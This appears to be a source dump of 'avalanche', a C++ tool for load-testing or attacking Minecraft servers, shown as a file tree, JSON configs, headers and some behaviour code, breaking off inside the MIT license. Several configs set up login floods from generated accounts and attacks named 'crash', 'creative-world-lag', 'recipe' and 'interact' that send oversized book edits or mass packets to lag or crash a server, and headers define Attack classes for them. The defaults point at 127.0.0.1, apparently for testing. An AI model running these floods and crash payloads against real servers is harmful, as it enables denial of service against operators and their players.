├── bin ├── users.txt ├── flood.json ├── basic.json ├── disconnect.json ├── crash.json ├── interact.json ├── recipe.json ├── swing.json ├── sneak.json └── creative.json ├── .gitmodules ├── .gitignore ├── avalanche ├── login │ ├── LoginFlood.h │ ├── LoginSequential.h │ ├── generator │ │ ├── RandomGenerator.h │ │ ├── AuthGenerator.h │ │ ├── MultiUserGenerator.h │ │ ├── MultiTokenGenerator.h │ │ ├── IncrementalGenerator.h │ │ ├── RandomGenerator.cpp │ │ ├── IncrementalGenerator.cpp │ │ ├── MultiUserGenerator.cpp │ │ └── MultiTokenGenerator.cpp │ ├── LoginMethod.h │ ├── Authenticator.cpp │ ├── Authenticator.h │ ├── LoginFlood.cpp │ ├── LoginSequential.cpp │ └── LoginMethod.cpp ├── Avalanche.h ├── VersionDetector.h ├── avalanche.vcxproj.user ├── behavior │ ├── BehaviorDelay.h │ ├── BehaviorMessage.h │ ├── BehaviorSneak.h │ ├── attack │ │ ├── AttackInteract.h │ │ ├── AttackCreativeWorldLag.h │ │ ├── AttackBookEdit.h │ │ ├── AttackRecipe.h │ │ ├── AttackInteract.cpp │ │ ├── AttackBookEdit.cpp │ │ ├── AttackCreativeWorldLag.cpp │ │ └── AttackRecipe.cpp │ ├── BehaviorSwing.h │ ├── Behavior.h │ ├── BehaviorDisconnect.h │ ├── BehaviorSequence.h │ ├── BehaviorDelay.cpp │ ├── BehaviorDisconnect.cpp │ ├── BehaviorMessage.cpp │ ├── BehaviorSneak.cpp │ ├── Behavior.cpp │ ├── BehaviorSequence.cpp │ └── BehaviorSwing.cpp ├── Instance.h ├── getopt.h ├── Instance.cpp ├── Factory.h ├── PositionProvider.h ├── VersionDetector.cpp ├── main.cpp ├── Avalanche.cpp ├── getopt.cpp ├── getopt_long.cpp ├── avalanche.vcxproj └── avalanche.vcxproj.filters ├── Makefile ├── LICENSE ├── avalanche.sln └── README.md /bin/users.txt: -------------------------------------------------------------------------------- 1 | test:123 2 | abc:z 3 | zzz: -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/mclib"] 2 | path = lib/mclib 3 | url = https://github.com/plushmonkey/mclib.git 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Debug 2 | Release 3 | *.opensdf 4 | *.sdf 5 | *.suo 6 | *.so 7 | *.o 8 | .vs 9 | *.exe 10 | *.dll 11 | *.iobj 12 | *.ipdb 13 | *.pdb 14 | -------------------------------------------------------------------------------- /bin/flood.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw" 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "flood", 11 | "delay": 0 12 | } 13 | }, 14 | "count": 20 15 | } 16 | -------------------------------------------------------------------------------- /bin/basic.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw" 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "sequential", 11 | "delay": 500 12 | } 13 | }, 14 | "count": 1 15 | } 16 | -------------------------------------------------------------------------------- /bin/disconnect.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw" 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "flood", 11 | "delay": 0 12 | } 13 | }, 14 | "count": 20, 15 | "behavior": { 16 | "method": "disconnect" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /bin/crash.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "random", 5 | "min": 3, 6 | "max": 16 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "flood", 11 | "delay": 0 12 | } 13 | }, 14 | "count": 5, 15 | "behavior": { 16 | "method": "bookedit", 17 | "send-per-tick": 1, 18 | "pages": 10000, 19 | "hidden": true 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /bin/interact.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw", 7 | "start": 0 8 | }, 9 | "server": "127.0.0.1", 10 | "method": { 11 | "name": "flood", 12 | "delay": 0 13 | } 14 | }, 15 | "count": 20, 16 | "behavior": { 17 | "method": "interact", 18 | "send-per-tick": 75 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /bin/recipe.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "random", 5 | "min": 3, 6 | "max": 16 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "flood", 11 | "delay": 0 12 | } 13 | }, 14 | "count": 1, 15 | "behavior": { 16 | "method": "recipe", 17 | "send-per-tick": 1, 18 | "pages": 10000, 19 | "return-count": 60, 20 | "prepare-count": 1 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /avalanche/login/LoginFlood.h: -------------------------------------------------------------------------------- 1 | #ifndef AVALANCHE_LOGIN_FLOOD_H_ 2 | #define AVALANCHE_LOGIN_FLOOD_H_ 3 | 4 | #include "LoginMethod.h" 5 | 6 | namespace avalanche { 7 | 8 | class LoginFlood : public LoginMethod { 9 | private: 10 | s32 m_Delay; 11 | 12 | bool ReadMethodJSON(const Json::Value& node) override; 13 | 14 | public: 15 | LoginFlood(); 16 | 17 | std::size_t Login(std::vector>& instances); 18 | 19 | static const char* s_Name; 20 | }; 21 | 22 | } // ns avalanche 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CXXFLAGS=-std=c++14 -fPIC -O2 -I/usr/include/jsoncpp -Ilib/mclib/mclib/include 2 | LIBS=-L. -ljsoncpp -lmc 3 | CXX=clang++ 4 | BIN=bin 5 | 6 | SRC=$(shell find avalanche -type f -name *.cpp) 7 | 8 | .PHONY: clean 9 | all: bin libmc.so avalanche 10 | avalanche: $(SRC:.cpp=.o) 11 | $(CXX) -o $(BIN)/$@ $(CXXFLAGS) $^ -Wl,-rpath,. $(LIBS) 12 | -mv -f libmc.so bin/libmc.so 13 | 14 | libmc.so: 15 | $(MAKE) -C lib/mclib 16 | cp lib/mclib/libmc.so libmc.so 17 | 18 | bin: 19 | -mkdir $(BIN) 20 | 21 | clean: 22 | -rm -f $(SRC:.cpp=.o) 23 | -------------------------------------------------------------------------------- /avalanche/login/LoginSequential.h: -------------------------------------------------------------------------------- 1 | #ifndef AVALANCHE_LOGIN_SEQUENTIAL_H_ 2 | #define AVALANCHE_LOGIN_SEQUENTIAL_H_ 3 | 4 | #include "LoginMethod.h" 5 | 6 | namespace avalanche { 7 | 8 | class LoginSequential : public LoginMethod { 9 | private: 10 | s32 m_Delay; 11 | 12 | bool ReadMethodJSON(const Json::Value& node) override; 13 | 14 | public: 15 | LoginSequential(); 16 | 17 | std::size_t Login(std::vector>& instances); 18 | 19 | static const char* s_Name; 20 | }; 21 | 22 | } // ns avalanche 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /avalanche/Avalanche.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_H_ 2 | #define _AVALANCHE_H_ 3 | 4 | #include "Instance.h" 5 | #include "login/LoginMethod.h" 6 | 7 | #include 8 | 9 | namespace avalanche { 10 | 11 | using OptionMap = std::unordered_map; 12 | 13 | class Avalanche { 14 | private: 15 | std::vector> m_Instances; 16 | std::unique_ptr m_LoginMethod; 17 | 18 | public: 19 | bool Initialize(const OptionMap& options); 20 | 21 | void Run(); 22 | }; 23 | 24 | } // ns avalanche 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /bin/swing.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw" 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "sequential", 11 | "delay": 500 12 | } 13 | }, 14 | "count": 1, 15 | "behavior": { 16 | "method": "sequence", 17 | "repeat": true, 18 | "children": [ 19 | { 20 | "method": "swing", 21 | "attack": true, 22 | "hand": "main" 23 | }, 24 | { 25 | "method": "delay", 26 | "delay": 2000 27 | } 28 | ] 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /avalanche/VersionDetector.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_VERSIONDETECTOR_H_ 2 | #define _AVALANCHE_VERSIONDETECTOR_H_ 3 | 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | class VersionDetector : public mc::core::ConnectionListener { 9 | private: 10 | mc::protocol::Version m_Version; 11 | mc::core::Connection* m_Connection; 12 | std::string m_Host; 13 | u16 m_Port; 14 | bool m_Found; 15 | 16 | public: 17 | VersionDetector(const std::string& host, u16 port); 18 | 19 | mc::protocol::Version GetVersion(); 20 | void OnPingResponse(const Json::Value& node) override; 21 | }; 22 | 23 | } // ns avalanche 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /avalanche/login/generator/RandomGenerator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_RANDOMGENERATOR_ 2 | #define _AVALANCHE_LOGIN_RANDOMGENERATOR_ 3 | 4 | #include "AuthGenerator.h" 5 | #include 6 | 7 | namespace avalanche { 8 | 9 | class RandomGenerator : public AuthGenerator { 10 | private: 11 | std::mt19937 m_Engine; 12 | s32 m_MinSize; 13 | s32 m_MaxSize; 14 | 15 | public: 16 | RandomGenerator(); 17 | 18 | void Initialize(s32 minSize, s32 maxSize); 19 | 20 | Authenticator Generate() override; 21 | 22 | bool ReadJSON(const Json::Value& node) override; 23 | 24 | static const char *s_Name; 25 | }; 26 | 27 | } // ns avalanche 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /avalanche/login/generator/AuthGenerator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_AUTHGENERATOR_ 2 | #define _AVALANCHE_LOGIN_AUTHGENERATOR_ 3 | 4 | #include "../../Instance.h" 5 | #include "../Authenticator.h" 6 | 7 | namespace Json { 8 | 9 | class Value; 10 | 11 | } // ns Json 12 | 13 | namespace avalanche { 14 | 15 | /* 16 | * This is the base class for authentication generators. 17 | * These are used to generate username/password combinations or session tokens for logging in. 18 | */ 19 | class AuthGenerator { 20 | public: 21 | virtual ~AuthGenerator() { } 22 | 23 | virtual Authenticator Generate() = 0; 24 | 25 | virtual bool ReadJSON(const Json::Value& node) = 0; 26 | }; 27 | 28 | } // ns avalanche 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /avalanche/avalanche.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | --json ../bin/basic.json 5 | WindowsLocalDebugger 6 | 7 | 8 | --json ../bin/basic.json 9 | WindowsLocalDebugger 10 | 11 | 12 | false 13 | 14 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorDelay.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_DELAY_H_ 2 | #define _AVALANCHE_BEHAVIOR_DELAY_H_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorDelay : public Behavior { 13 | private: 14 | mc::core::Client* m_Client; 15 | s64 m_StartTime; 16 | s32 m_Delay; 17 | 18 | public: 19 | BehaviorDelay(mc::core::Client* client, mc::protocol::Version version); 20 | 21 | void OnCreate() override; 22 | bool OnUpdate() override; 23 | void OnDestroy() override; 24 | 25 | bool ReadJSON(const Json::Value& attackNode) override; 26 | 27 | static const char* s_Name; 28 | }; 29 | 30 | 31 | } // ns avalanche 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /bin/sneak.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "increment", 5 | "username": "user", 6 | "password": "pw" 7 | }, 8 | "server": "127.0.0.1", 9 | "method": { 10 | "name": "sequential", 11 | "delay": 500 12 | } 13 | }, 14 | "count": 1, 15 | "behavior": { 16 | "method": "sequence", 17 | "repeat": true, 18 | "children": [ 19 | { 20 | "method": "sneak", 21 | "start": true, 22 | "stop": false 23 | }, 24 | { 25 | "method": "delay", 26 | "delay": 2000 27 | }, 28 | { 29 | "method": "sneak", 30 | "start": false, 31 | "stop": true 32 | }, 33 | { 34 | "method": "delay", 35 | "delay": 2000 36 | } 37 | ] 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /bin/creative.json: -------------------------------------------------------------------------------- 1 | { 2 | "login": { 3 | "generator": { 4 | "method": "multi-user", 5 | "filename": "users.txt" 6 | }, 7 | "server": "127.0.0.1", 8 | "method": { 9 | "name": "sequential", 10 | "delay": 5000 11 | } 12 | }, 13 | "count": 3, 14 | "behavior": { 15 | "method": "sequence", 16 | "repeat": false, 17 | "children": [ 18 | { 19 | "method": "message", 20 | "message": "/gamemode 1" 21 | }, 22 | { 23 | "method": "sequence", 24 | "repeat": true, 25 | "children": [ 26 | { 27 | "method": "creative-world-lag", 28 | "send-per-tick": 30, 29 | "position": { 30 | "method": "random" 31 | } 32 | } 33 | ] 34 | } 35 | ] 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorMessage.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_MESSAGE_H_ 2 | #define _AVALANCHE_BEHAVIOR_MESSAGE_H_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorMessage : public Behavior, mc::core::ClientListener { 13 | private: 14 | mc::core::Client* m_Client; 15 | std::string m_Message; 16 | bool m_Finished; 17 | 18 | public: 19 | BehaviorMessage(mc::core::Client* client, mc::protocol::Version version); 20 | 21 | void OnCreate() override; 22 | bool OnUpdate() override; 23 | void OnDestroy() override; 24 | 25 | void OnTick() override; 26 | 27 | bool ReadJSON(const Json::Value& attackNode) override; 28 | 29 | static const char* s_Name; 30 | }; 31 | 32 | 33 | } // ns avalanche 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /avalanche/Instance.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_INSTANCE_H_ 2 | #define _AVALANCHE_INSTANCE_H_ 3 | 4 | #include 5 | #include "behavior/Behavior.h" 6 | 7 | namespace avalanche { 8 | 9 | class Instance { 10 | private: 11 | mc::protocol::packets::PacketDispatcher m_Dispatcher; 12 | mc::core::Client m_Client; 13 | std::unique_ptr m_Behavior; 14 | mc::protocol::Version m_Version; 15 | bool m_Active; 16 | 17 | public: 18 | Instance(mc::protocol::Version version); 19 | 20 | Behavior* GetBehavior() { return m_Behavior.get(); } 21 | void SetBehavior(std::unique_ptr behavior); 22 | 23 | mc::core::Client* GetClient() { return &m_Client; } 24 | 25 | // Returns false if the instance is transitioning from active to inactive. 26 | bool Update(); 27 | }; 28 | 29 | } // ns avalanche 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSneak.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_SNEAK_H_ 2 | #define _AVALANCHE_BEHAVIOR_SNEAK_H_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorSneak : public Behavior, mc::core::ClientListener { 13 | private: 14 | mc::core::Client* m_Client; 15 | bool m_Start; 16 | bool m_Stop; 17 | bool m_Finished; 18 | 19 | public: 20 | BehaviorSneak(mc::core::Client* client, mc::protocol::Version version); 21 | 22 | void OnCreate() override; 23 | bool OnUpdate() override; 24 | void OnDestroy() override; 25 | 26 | void OnTick() override; 27 | 28 | bool ReadJSON(const Json::Value& attackNode) override; 29 | 30 | static const char* s_Name; 31 | }; 32 | 33 | 34 | } // ns avalanche 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackInteract.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_ATTACK_INTERACT_ 2 | #define _AVALANCHE_ATTACK_INTERACT_ 3 | 4 | #include "../Behavior.h" 5 | 6 | #include 7 | 8 | namespace avalanche { 9 | 10 | class AttackInteract : public Behavior, public mc::core::ClientListener { 11 | private: 12 | mc::core::Client* m_Client; 13 | s32 m_SendPerTick; 14 | bool m_Finished; 15 | 16 | public: 17 | AttackInteract(mc::core::Client* client, mc::protocol::Version version); 18 | ~AttackInteract(); 19 | 20 | void OnCreate() override; 21 | bool OnUpdate() override { return m_Finished; } 22 | void OnDestroy() override; 23 | 24 | void OnTick() override; 25 | bool ReadJSON(const Json::Value& attackNode) override; 26 | 27 | static const char* s_Name; 28 | }; 29 | 30 | } // ns avalanche 31 | 32 | #endif 33 | 34 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSwing.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_SWING_H_ 2 | #define _AVALANCHE_BEHAVIOR_SWING_H_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorSwing : public Behavior, mc::core::ClientListener { 13 | private: 14 | mc::core::Client* m_Client; 15 | mc::Hand m_Hand; 16 | bool m_Attack; 17 | bool m_Finished; 18 | 19 | public: 20 | BehaviorSwing(mc::core::Client* client, mc::protocol::Version version); 21 | 22 | void OnCreate() override; 23 | bool OnUpdate() override; 24 | void OnDestroy() override; 25 | 26 | void OnTick() override; 27 | 28 | bool ReadJSON(const Json::Value& attackNode) override; 29 | 30 | static const char* s_Name; 31 | }; 32 | 33 | 34 | } // ns avalanche 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /avalanche/getopt.h: -------------------------------------------------------------------------------- 1 | #ifndef __GETOPT_H__ 2 | #define __GETOPT_H__ 3 | 4 | #ifdef _WIN32 5 | 6 | extern int opterr; /* if error message should be printed */ 7 | extern int optind; /* index into parent argv vector */ 8 | extern int optopt; /* character checked for validity */ 9 | extern int optreset; /* reset getopt */ 10 | extern char *optarg; /* argument associated with option */ 11 | 12 | struct option 13 | { 14 | const char *name; 15 | int has_arg; 16 | int *flag; 17 | int val; 18 | }; 19 | 20 | #define no_argument 0 21 | #define required_argument 1 22 | #define optional_argument 2 23 | 24 | int getopt(int argc, char * const argv[], const char* optstring); 25 | int getopt_long(int argc, char * const argv[], const char *optstring, const struct option *longopts, int *longindex); 26 | 27 | #else 28 | #include 29 | #endif 30 | 31 | #endif /* __GETOPT_H__ */ 32 | -------------------------------------------------------------------------------- /avalanche/behavior/Behavior.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_H_ 2 | #define _AVALANCHE_BEHAVIOR_H_ 3 | 4 | #include "../Factory.h" 5 | 6 | #include 7 | 8 | namespace Json { 9 | 10 | class Value; 11 | 12 | } // ns Json 13 | 14 | namespace mc { 15 | namespace core { 16 | 17 | class Client; 18 | 19 | } // ns core 20 | } // ns mc 21 | 22 | namespace avalanche { 23 | 24 | class Behavior { 25 | public: 26 | virtual ~Behavior() { } 27 | 28 | virtual void OnCreate() { } 29 | // Returns true when ready to be stopped 30 | virtual bool OnUpdate() { return false; } 31 | virtual void OnDestroy() { } 32 | 33 | virtual bool ReadJSON(const Json::Value& node) = 0; 34 | }; 35 | 36 | using BehaviorFactory = Factory; 37 | extern BehaviorFactory g_BehaviorFactory; 38 | 39 | } // ns avalanche 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorDisconnect.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_DISCONNECT_H_ 2 | #define _AVALANCHE_BEHAVIOR_DISCONNECT_H_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorDisconnect : public Behavior, mc::protocol::packets::PacketHandler { 13 | private: 14 | mc::core::Client* m_Client; 15 | bool m_Finished; 16 | 17 | public: 18 | BehaviorDisconnect(mc::core::Client* client, mc::protocol::Version version); 19 | 20 | void OnCreate() override; 21 | bool OnUpdate() override; 22 | void OnDestroy() override; 23 | 24 | bool ReadJSON(const Json::Value& attackNode) override; 25 | void HandlePacket(mc::protocol::packets::in::LoginSuccessPacket* packet) override; 26 | 27 | static const char* s_Name; 28 | }; 29 | 30 | 31 | } // ns avalanche 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSequence.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_BEHAVIOR_SEQUENCE_ 2 | #define _AVALANCHE_BEHAVIOR_SEQUENCE_ 3 | 4 | #include "Behavior.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | class BehaviorSequence : public Behavior { 13 | private: 14 | mc::core::Client* m_Client; 15 | mc::protocol::Version m_Version; 16 | std::vector> m_Children; 17 | s32 m_Index; 18 | bool m_Repeat; 19 | bool m_Finished; 20 | 21 | public: 22 | BehaviorSequence(mc::core::Client* client, mc::protocol::Version version); 23 | 24 | void OnCreate() override; 25 | bool OnUpdate() override; 26 | void OnDestroy() override; 27 | 28 | bool ReadJSON(const Json::Value& attackNode) override; 29 | 30 | static const char* s_Name; 31 | }; 32 | 33 | 34 | } // ns avalanche 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorDelay.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorDelay.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char* BehaviorDelay::s_Name = "delay"; 9 | 10 | BehaviorDelay::BehaviorDelay(mc::core::Client* client, mc::protocol::Version version) 11 | : m_Client(client), 12 | m_Delay(0) 13 | { 14 | 15 | } 16 | 17 | void BehaviorDelay::OnCreate() { 18 | m_StartTime = mc::util::GetTime(); 19 | } 20 | 21 | bool BehaviorDelay::OnUpdate() { 22 | return mc::util::GetTime() >= m_StartTime + m_Delay; 23 | } 24 | 25 | void BehaviorDelay::OnDestroy() { 26 | 27 | } 28 | 29 | bool BehaviorDelay::ReadJSON(const Json::Value& node) { 30 | auto&& delayNode = node["delay"]; 31 | 32 | if (delayNode.isInt()) 33 | m_Delay = delayNode.asInt(); 34 | else 35 | return false; 36 | 37 | return true; 38 | } 39 | 40 | } // ns avalanche 41 | -------------------------------------------------------------------------------- /avalanche/Instance.cpp: -------------------------------------------------------------------------------- 1 | #include "Instance.h" 2 | 3 | namespace avalanche { 4 | 5 | Instance::Instance(mc::protocol::Version version) 6 | : m_Dispatcher(), 7 | m_Client(&m_Dispatcher, version), 8 | m_Version(version), 9 | m_Active(true) 10 | { 11 | 12 | } 13 | 14 | bool Instance::Update() { 15 | if (!m_Active) return true; 16 | 17 | auto behavior = GetBehavior(); 18 | 19 | auto state = GetClient()->GetConnection()->GetSocketState(); 20 | if (state != mc::network::Socket::Status::Connected) { 21 | SetBehavior(nullptr); 22 | 23 | m_Active = false; 24 | return false; 25 | } 26 | 27 | if (behavior) 28 | behavior->OnUpdate(); 29 | 30 | GetClient()->Update(); 31 | 32 | return true; 33 | } 34 | 35 | void Instance::SetBehavior(std::unique_ptr behavior) { 36 | if (m_Behavior) 37 | m_Behavior->OnDestroy(); 38 | m_Behavior = std::move(behavior); 39 | } 40 | 41 | } // ns avalanche 42 | -------------------------------------------------------------------------------- /avalanche/login/generator/MultiUserGenerator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_MULTIUSERGENERATOR_H_ 2 | #define _AVALANCHE_LOGIN_MULTIUSERGENERATOR_H_ 3 | 4 | #include "AuthGenerator.h" 5 | #include 6 | 7 | namespace avalanche { 8 | 9 | class MultiUserGenerator : public AuthGenerator { 10 | private: 11 | struct UserPass { 12 | std::string username; 13 | std::string password; 14 | 15 | UserPass(const std::string& username, const std::string& password) : username(username), password(password) { } 16 | }; 17 | 18 | std::vector m_Users; 19 | std::size_t m_Index; 20 | 21 | public: 22 | MultiUserGenerator(); 23 | 24 | bool Initialize(const std::string& filename); 25 | 26 | Authenticator Generate() override; 27 | 28 | std::size_t GetIndex() const { return m_Index; } 29 | 30 | bool ReadJSON(const Json::Value& node) override; 31 | 32 | static const char *s_Name; 33 | }; 34 | 35 | } // ns avalanche 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /avalanche/login/generator/MultiTokenGenerator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_MULTITOKENGENERATOR_H_ 2 | #define _AVALANCHE_LOGIN_MULTITOKENGENERATOR_H_ 3 | 4 | #include "AuthGenerator.h" 5 | #include 6 | 7 | namespace avalanche { 8 | 9 | class MultiTokenGenerator : public AuthGenerator { 10 | private: 11 | struct UserToken { 12 | std::string username; 13 | mc::core::AuthToken token; 14 | 15 | UserToken(const std::string& username, mc::core::AuthToken token) : username(username), token(token) { } 16 | }; 17 | 18 | std::vector m_Users; 19 | std::size_t m_Index; 20 | 21 | public: 22 | MultiTokenGenerator(); 23 | 24 | bool Initialize(const std::string& filename); 25 | 26 | Authenticator Generate() override; 27 | 28 | std::size_t GetIndex() const { return m_Index; } 29 | 30 | bool ReadJSON(const Json::Value& node) override; 31 | 32 | static const char *s_Name; 33 | }; 34 | 35 | } // ns avalanche 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /avalanche/login/generator/IncrementalGenerator.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_LOGIN_AUTHINCREMENT_ 2 | #define _AVALANCHE_LOGIN_AUTHINCREMENT_ 3 | 4 | #include "AuthGenerator.h" 5 | #include 6 | 7 | namespace avalanche { 8 | 9 | class IncrementalGenerator : public AuthGenerator { 10 | private: 11 | std::string m_BaseName; 12 | std::string m_Password; 13 | s32 m_Index; 14 | 15 | std::string GenerateNext(); 16 | 17 | public: 18 | IncrementalGenerator(); 19 | 20 | void Initialize(const std::string& baseName, const std::string& password, s32 startIndex = 0); 21 | 22 | Authenticator Generate() override; 23 | 24 | const std::string& GetBaseName() const noexcept { return m_BaseName; } 25 | const std::string& GetPassword() const noexcept { return m_Password; } 26 | s32 GetIndex() const { return m_Index; } 27 | 28 | bool ReadJSON(const Json::Value& node) override; 29 | 30 | static const char *s_Name; 31 | }; 32 | 33 | } // ns avalanche 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorDisconnect.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorDisconnect.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char* BehaviorDisconnect::s_Name = "disconnect"; 9 | 10 | BehaviorDisconnect::BehaviorDisconnect(mc::core::Client* client, mc::protocol::Version version) 11 | : mc::protocol::packets::PacketHandler(client->GetDispatcher()), 12 | m_Client(client) 13 | { 14 | 15 | } 16 | 17 | void BehaviorDisconnect::OnCreate() { 18 | m_Finished = false; 19 | GetDispatcher()->RegisterHandler(mc::protocol::State::Login, mc::protocol::login::LoginSuccess, this); 20 | } 21 | 22 | bool BehaviorDisconnect::OnUpdate() { 23 | return m_Finished; 24 | } 25 | 26 | void BehaviorDisconnect::OnDestroy() { 27 | GetDispatcher()->UnregisterHandler(this); 28 | } 29 | 30 | void BehaviorDisconnect::HandlePacket(mc::protocol::packets::in::LoginSuccessPacket* packet) { 31 | m_Finished = true; 32 | m_Client->GetConnection()->Disconnect(); 33 | } 34 | 35 | bool BehaviorDisconnect::ReadJSON(const Json::Value& node) { 36 | return true; 37 | } 38 | 39 | } // ns avalanche 40 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackCreativeWorldLag.h: -------------------------------------------------------------------------------- 1 | #ifndef _AVALANCHE_ATTACK_CREATIVEWORLDLAG_ 2 | #define _AVALANCHE_ATTACK_CREATIVEWORLDLAG_ 3 | 4 | #include "../Behavior.h" 5 | #include "../../PositionProvider.h" 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | namespace avalanche { 14 | 15 | class AttackCreativeWorldLag : public Behavior, public mc::core::ClientListener { 16 | private: 17 | mc::core::Client* m_Client; 18 | std::unique_ptr m_PositionProvider; 19 | bool m_Finished; 20 | 21 | static s32 s_SendPerTick; 22 | 23 | mc::inventory::Slot CreateSlotAttack(); 24 | 25 | public: 26 | AttackCreativeWorldLag(mc::core::Client* client, mc::protocol::Version version); 27 | ~AttackCreativeWorldLag(); 28 | 29 | void OnCreate() override; 30 | bool OnUpdate() override { return m_Finished; } 31 | void OnDestroy() override; 32 | 33 | void OnTick() override; 34 | bool ReadJSON(const Json::Value& attackNode) override; 35 | 36 | static const char* s_Name; 37 | }; 38 | 39 | } // ns avalanche 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2017 plushmonkey (plushmonkey.ss@gmail.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT 